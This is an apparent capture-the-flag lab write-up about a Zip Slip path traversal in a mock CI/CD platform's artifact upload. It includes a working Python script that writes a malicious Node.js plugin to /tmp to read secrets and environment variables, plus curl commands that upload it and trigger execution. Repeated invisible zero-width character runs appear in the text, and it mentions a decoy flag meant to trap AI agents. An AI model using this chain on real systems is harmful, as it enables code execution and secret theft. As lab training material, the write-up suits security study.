← Back to Writeups
CUSTOMMediumWeb

Lab 312 — BuildStream — Zip Slip Path Traversal in Artifact Upload

XESXOR9/2/20263 min read
#web#custom#medium#arbitrary_file_write#build_log_data_exfiltration#environment_variable_exfiltrat#remote_code_execution_via_plug#zip_slip_path_traversal

Lab 312 — BuildStream — Zip Slip Path Traversal in Artifact Upload

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: arbitrary_file_write, build_log_data_exfiltration, environment_variable_exfiltration, remote_code_execution_via_plugin, zip_slip_path_traversal

Summary

Walkthrough of the CUSTOM Web Lab 312 — BuildStream — Zip Slip Path Traversal in Artifact Upload. Task: CI/CD platform with ZIP artifact upload that extracts archives without path sanitization. Solution: craft a malicious ZIP with path traversal (../) to write a Node.js plugin to /tmp/, trigger th

Description

BuildStream is a CI/CD platform built by StreamOps Technologies that lets development teams manage build pipelines, upload build artifacts, and track deployment history. The platform supports ZIP artifact uploads that are automatically extracted and processed as part of the build pipeline.

Target: https://325f08f2-4216-4214-a072-618a1046622b.labs.hackadvisor.io/ Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Objective: Find and exploit a vulnerability in the artifact handling system to retrieve a secret flag stored on the server.

Analysis

Reconnaissance

After logging in with the provided credentials, the application reveals:

  • Dashboard with build pipelines, artifacts, and deployments
  • /artifacts page with a ZIP upload form that extracts archives automatically
  • /pipelines page with a critical hint in the "Pipeline Plugins" section: "Build runners automatically discover and execute plugin scripts found in the /tmp/ directory during the post-build phase."
  • Express.js backend (X-Powered-By: Express header) running in Docker ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Honeypot Detection

The HTML source contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden elements and HTML comments, designed to trick AI agents and automated scanners. This is NOT the real flag.

Vulnerability Identification

The artifact upload endpoint at /artifacts/upload accepts ZIP files and extracts them without sanitizing filenames. This is a classic Zip Slip vulnerability — filenames containing ../ sequences allow writing files to arbitrary locations on the filesystem. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Combined with the plugin execution system that runs .js files from /tmp/ during post-build, this creates a path traversal to RCE chain:

  1. Upload ZIP with traversal path targeting /tmp/
  2. Trigger build pipeline
  3. Plugin executes and output appears in build logs

Solution

Step 1: Create Malicious ZIP with Path Traversal

python
#!/usr/bin/env python3
import zipfile

with zipfile.ZipFile('evil.zip', 'w') as z:
    js_content = '''const fs = require('fs');
function ls(d) { try { return fs.readdirSync(d).join(','); } catch(e) { return 'ERR'; } }
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

var out = [];
out.push('data:' + ls('/app/data'));
out.push('root:' + ls('/root'));
out.push('env_flag:' + (process.env.FLAG||''));
console.log(out.join(' | '));
'''
    # Path traversal to write plugin to /tmp/
    z.writestr('../../../../../../tmp/plugin_all.js', js_content)
    # Legitimate file to make the ZIP look normal
    z.writestr('readme.txt', 'Build artifact')

Step 2: Upload Malicious Artifact

bash
curl -s -b cookies.txt -X POST "https://TARGET/artifacts/upload" \
  -F "artifact=@evil.zip" \
  -F "pipeline_id=47b563de-5b09-4964-92ef-e191d58566b6" \
  -F "description=test"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response: "Artifact uploaded and extracted successfully" — confirming the path traversal worked and the file was written to /tmp/.

Step 3: Trigger Build Pipeline

bash
curl -s -b cookies.txt -X POST "https://TARGET/pipelines/47b563de-5b09-4964-92ef-e191d58566b6/trigger"

Step 4: Read Flag from Build Logs

The build log shows the plugin execution output:

=== Post-Build: Plugin Execution ===
Scanning /tmp/ for pipeline plugins...
Executing plugin: plugin_all.js
data:artifacts,builds,database.db,database.db-shm,database.db-wal | root:flag.txt | env_flag:FLAG{REDACTED}
Plugin plugin_all.js completed

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The flag is stored in the FLAG environment variable (and also in /root/flag.txt). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering arbitrary_file_write, build_log_data_exfiltration, environment_variable_exfiltration, remote_code_execution_via_plugin, zip_slip_path_traversal was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-10 • CUSTOM • Lab 312 — BuildStream — Zip Slip Path Traversal in Artifact Upload • Difficulty: Medium